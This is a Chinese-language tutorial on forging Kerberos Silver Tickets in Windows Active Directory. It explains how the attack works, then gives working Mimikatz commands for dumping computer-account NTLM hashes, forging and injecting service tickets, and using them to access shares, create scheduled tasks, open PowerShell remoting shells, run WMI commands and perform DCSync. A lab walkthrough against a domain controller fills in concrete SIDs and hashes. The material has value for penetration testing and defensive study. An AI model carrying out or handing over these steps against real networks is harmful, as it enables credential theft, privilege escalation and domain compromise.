0x01白銀票據(Silver Tickets)定義
白銀票據(Silver Tickets)是偽造Kerberos票證授予服務(TGS)的票也稱為服務票據。如下圖所示,與域控制器沒有AS-REQ 和 AS-REP(步驟1和2),也沒有TGS-REQ / TGS-REP(步驟3和4)通信。由於銀票是偽造的TGS,所以沒有與域控制器通信。
0x02白銀票據的特點
1.白銀票據是一個有效的票據授予服務(TGS)Kerberos票據,因為Kerberos驗證服務運行的每台服務器都對服務主體名稱的服務帳戶進行加密和簽名。
2.黃金票據是偽造TGT並且有效的獲得任何Kerberos服務,而白銀票據是偽造TGS。這意味着白銀票據僅限於特定服務器上的任何服務。
3.大多數服務不驗證PAC(通過將PAC校驗和發送到域控制器進行PAC驗證),因此使用服務帳戶密碼哈希生成的有效TGS可以完全偽造PAC
4.攻擊者需要服務帳戶密碼哈希值
5.TGS是偽造的,所以沒有和TGT通信,意味着DC從驗證過。
6.任何事件日志都在目標服務器上。
0x03創建白銀票據
為了創建或偽造白銀票據,攻擊者必須獲得目標服務賬號的密碼hash值。如果目標服務正在使用中的帳戶(如MS SQL)下運行,則需要服務帳戶密碼哈希以創建銀票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服務帳戶密碼是識別目標服務相關密碼數據的一種有效防范。計算機主機服務也是最常見的服務,它是利用Windows文件共享的“cifs”服務。由於計算機本身托管此服務,因此創建白銀票據所需的密碼數據是關聯的計算機帳戶的密碼哈希值。當計算機加入Active Directory時,會創建一個新的計算機帳戶對象並將其添加到計算機中。密碼和相關的散列哈希存儲在擁有該帳戶的計算機上,並且將NTLM密碼散列存儲在域的域控制器上的Active Directory數據庫中。如果攻擊者可以獲得對計算機的管理權限或者能夠以本地系統的身份運行代碼,則攻擊者可以使用Mimikatz從系統中轉儲AD計算機帳戶密碼哈希(NTLM密碼哈希用於加密RC4 Kerberos門票):
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit #需要管理員權限
0x04 Mimikatz白銀票據票命令
/domain –完整的域名稱,如:lab.adsecurity.org
/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127
/user – 域用戶名
/ groups(可選) - 用戶所屬的組RID
/ ticket(可選) - 提供一個路徑和名稱,用於保存Golden Ticket文件以便日后使用,或者使用/ ptt立即將黃金票據插入到內存中以供使用
/ptt - 作為/ ticket的替代品,使用它來立即將偽造的票據插入到內存中以供使用。
/ id(可選) - 用戶RID,Mimikatz默認值是500(默認管理員帳戶RID)
/ startoffset(可選) - 票證可用時的起始偏移(如果使用此選項,通常設置為-10或0)Mimikatz默認值是0
/ endin(可選) - 票據有效時間,Mimikatz默認值是10年,Active Directory默認Kerberos策略設置為10小時
/ renewmax(可選) - 續訂最長票據有效時間,Mimikatz默認值是10年,Active Directory默認Kerberos策略設置為最長為7天
1.白銀票據需要的參數
/target –目標服務器的FQDN
FQDN:(Fully Qualified Domain Name)全限定域名:同時帶有主機名和域名的名稱。(通過符號“.”)
/service –運行在目標服務器上的kerberos服務,該服務主體名稱類型如cifs,http,mssql等
/rc4 –服務的NTLM散列(計算機帳戶或用戶帳戶)
2.白銀票據默認組
域用戶SID:S-1-5-21 <DOMAINID> -513
域管理員SID:S-1-5-21 <DOMAINID> -512
架構管理員SID:S-1-5-21 <DOMAINID> -518
企業管理員SID:S-1-5-21 <DOMAINID> -519
組策略創建所有者SID:S-1-5-21 <DOMAINID> -520
3. Mimikatz命令創建白銀票據
以下Mimikatz命令會在服務器adsmswin2k8r2.lab.adsecurity.org上為CIFS服務創建白銀票據。為了成功創建Silver Ticket,需要從AD域轉儲中或在本地系統上運行Mimikatz來獲獲取adsmswin2k8r2.lab.adsecurity.org中AD計算機帳戶密碼哈希值。NTLM密碼哈希與 rc4參數一起使用。服務SPN類型也需要在/ service參數中標識。目標計算機的FQDA需要在/ target參數中使用以及/ sid參數中的域SID。命令如下:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
0x05 白銀票據在各種服務中的實列
1.白銀票據的服務列表
Service Type | Service Silver Tickets |
WMI | HOST RPCSS |
PowerShell Remoting |
HOST HTTP |
WinRM | HOST HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync |
LDAP |
Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
2.Windows共享(CIFS)管理訪問的銀票
為“ cifs ”服務創建白銀票據,以獲得目標計算機上任何Windows共享的管理權限。
注入CIFS Silver Ticket后,我們現在可以訪問目標計算機上的任何共享,包括
c $共享,我們能夠將文件拷貝到共享文件中。
3.具有管理員權限的Windows計算機(HOST)白銀票據
創建銀票以獲得目標計算機上所涵蓋的任何Windows服務的管理員權限。這包括修改和創建計划任務的權限。
利用HOST Silver Ticket,我們可以創建一個新的計划任務。
或者通過利用HOST Silver Ticket,我們可以修改存在的計划任務。
4.Silver Ticket連接到以Windows管理員權限計算機上的PowerShell遠程執行
為“ http ”服務和“ wsman ”服務創建Silver Ticket,以獲得目標系統上的WinRM和或PowerShell Remoting的管理權限。
注入兩張HTTP&WSMAN白銀票據后,我們可以使用PowerShell遠程(或WinRM的)反彈出目標系統shell。首先New-PSSession使用PowerShell創建到遠程系統的會話的PowerShell cmdlet,然后Enter-PSSession打開遠程shell。
5.白銀票據證連接到具有管理員權限Windows計算機上的LDAP
為“ ldap ”服務創建Silver Ticket 以獲得目標系統(包括Active Directory)上LDAP服務的管理權限。
利用LDAP Silver Ticket,我們可以遠程訪問LDAP服務來獲得krbtgt的信息
注:lsadump::dcsync
向 DC 發起一個同步對象(可獲取帳戶的密碼信息)的質詢。需要的權限包括管理員組(Administrators),域管理員組( Domain Admins)或企業管理員組(Enterprise Admins)以及域控制器的計算機帳戶,只讀域控制器默認不允許讀取用戶密碼數據。
6.白銀票據證連接到具有管理員權限Windows計算機上的WMI
為“ HOST ”服務和“ rpcss ”服務創建白銀票據,以使用WMI在目標系統上遠程執行命令。
注入這些白銀票據之后,我們可以通過運行“klist”來確認Kerberos TGS票據在內存中注入白銀票據后,我們可以通過“傳票”來調用WMIC或Invoke-WmiMethod在目標系統上運行命令。
Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”
7.訪問域控上“cifs”服務實列
首先需要獲得如下信息:
/domain
/sid
/target:目標服務器的域名全稱,此處為域控的全稱
/service:目標服務器上面的kerberos服務,此處為cifs
/rc4:計算機賬戶的NTLM hash,域控主機的計算機賬戶
/user:要偽造的用戶名,此處可用silver測試
在域控上執行如下命令來獲取域控主機的本地管理員賬戶hash
mimikatz log "sekurlsa::logonpasswords"
如圖:
注:
此處要找到計算機賬戶,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他賬戶,那么會失敗,也就是需要共享服務賬號。
整理以上獲得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz執行如下命令導入Silver Ticket
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如圖,成功導入,此時可以成功訪問域控上的文件共享